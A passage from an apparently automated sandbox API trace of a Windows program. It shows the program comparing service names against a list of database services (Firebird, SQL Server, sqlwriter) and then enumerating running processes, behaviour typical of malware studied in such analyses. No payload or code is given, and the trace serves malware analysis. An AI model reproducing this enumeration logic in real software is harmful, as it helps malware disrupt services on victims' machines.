(lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0103.476] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0103.476] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0103.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0103.476] lstrlenW (lpString="netprofm") returned 8 [0103.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0103.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0103.477] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0103.477] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0103.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0103.477] lstrlenW (lpString="NlaSvc") returned 6 [0103.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0103.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0103.477] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0103.477] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0103.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0103.477] lstrlenW (lpString="nsi") returned 3 [0103.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0103.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0103.477] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0103.477] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0103.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0103.477] lstrlenW (lpString="PcaSvc") returned 6 [0103.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0103.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0103.477] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0103.477] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0103.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0103.477] lstrlenW (lpString="PlugPlay") returned 8 [0103.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0103.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0103.477] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0103.477] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0103.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0103.478] lstrlenW (lpString="Power") returned 5 [0103.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0103.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0103.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0103.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0103.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0103.478] lstrlenW (lpString="ProfSvc") returned 7 [0103.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0103.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0103.478] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0103.478] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0103.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0103.478] lstrlenW (lpString="RpcEptMapper") returned 12 [0103.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0103.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0103.478] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0103.478] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0103.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0103.478] lstrlenW (lpString="RpcSs") returned 5 [0103.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0103.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0103.478] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0103.478] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0103.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0103.478] lstrlenW (lpString="SamSs") returned 5 [0103.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0103.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0103.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0103.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0103.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0103.479] lstrlenW (lpString="Schedule") returned 8 [0103.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0103.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0103.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0103.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0103.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0103.479] lstrlenW (lpString="SecurityHealthService") returned 21 [0103.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0103.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0103.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0103.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0103.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0103.479] lstrlenW (lpString="SENS") returned 4 [0103.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0103.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0103.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0103.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0103.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0103.479] lstrlenW (lpString="ShellHWDetection") returned 16 [0103.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0103.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0103.479] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0103.479] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0103.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0103.480] lstrlenW (lpString="Spooler") returned 7 [0103.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0103.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0103.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0103.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0103.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0103.480] lstrlenW (lpString="sppsvc") returned 6 [0103.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0103.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0103.480] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0103.480] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0103.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x625278 | out: hHeap=0x5c0000) returned 1 [0103.480] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0103.503] Process32FirstW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.504] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0103.505] lstrlenW (lpString="System") returned 6 [0103.505] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0103.506] lstrlenW (lpString="smss.exe") returned 8 [0103.506] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.510] lstrlenW (lpString="csrss.exe") returned 9 [0103.510] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0103.511] lstrlenW (lpString="wininit.exe") returned 11 [0103.511] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.512] lstrlenW (lpString="csrss.exe") returned 9 [0103.512] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0103.513] lstrlenW (lpString="winlogon.exe") returned 12 [0103.513] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0103.514] lstrlenW (lpString="services.exe") returned 12 [0103.514] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0103.515] lstrlenW (lpString="lsass.exe") returned 9 [0103.515] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.516] lstrlenW (lpString="svchost.exe") returned 11 [0103.516] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0103.517] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0103.517] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0103.518] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0103.518] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.519] lstrlenW (lpString="svchost.exe") returned 11 [0103.519] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0103.520] lstrlenW (lpString="dwm.exe") returned 7 [0103.520] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.521] lstrlenW (lpString="svchost.exe") returned 11 [0103.521] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.522] lstrlenW (lpString="svchost.exe") returned 11 [0103.522] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.523] lstrlenW (lpString="svchost.exe") returned 11 [0103.523] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.524] lstrlenW (lpString="svchost.exe") returned 11 [0103.524] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.525] lstrlenW (lpString="svchost.exe") returned 11 [0103.525] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.526] lstrlenW (lpString="svchost.exe") returned 11 [0103.526] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.527] lstrlenW (lpString="svchost.exe") returned 11 [0103.527] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.529] lstrlenW (lpString="svchost.exe") returned 11 [0103.529] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.530] lstrlenW (lpString="svchost.exe") returned 11 [0103.530] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0103.531] lstrlenW (lpString="spoolsv.exe") returned 11 [0103.531] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.532] lstrlenW (lpString="svchost.exe") returned 11 [0103.532] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.533] lstrlenW (lpString="svchost.exe") returned 11 [0103.533] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0103.534] lstrlenW (lpString="audiodg.exe") returned 11 [0103.534] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0103.535] lstrlenW (lpString="sihost.exe") returned 10 [0103.535] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.536] lstrlenW (lpString="svchost.exe") returned 11 [0103.536] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.537] lstrlenW (lpString="taskhostw.exe") returned 13 [0103.537] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0103.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0103.572] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0103.573] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0103.573] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0103.573] lstrlenW (lpString="explorer.exe") returned 12 [0103.574] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0103.574] lstrlenW (lpString="Memory Compression") returned 18 [0103.574] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0103.575] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0103.575] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0103.577] lstrlenW (lpString="SearchUI.exe") returned 12 [0103.577] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0103.578] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0103.578] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.579] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0103.579] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0103.580] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0103.580] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0103.581] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0103.581] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.582] lstrlenW (lpString="conhost.exe") returned 11 [0103.582] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0103.583] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0103.583] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0103.584] lstrlenW (lpString="upper arc.exe") returned 13 [0103.584] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0103.585] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0103.585] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0103.585] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0103.585] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0103.586] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0103.586] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0103.587] lstrlenW (lpString="blademcdonald.exe") returned 17 [0103.587] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0103.588] lstrlenW (lpString="courage.exe") returned 11 [0103.588] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0103.589] lstrlenW (lpString="pearl.exe") returned 9 [0103.589] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0103.593] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0103.593] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: 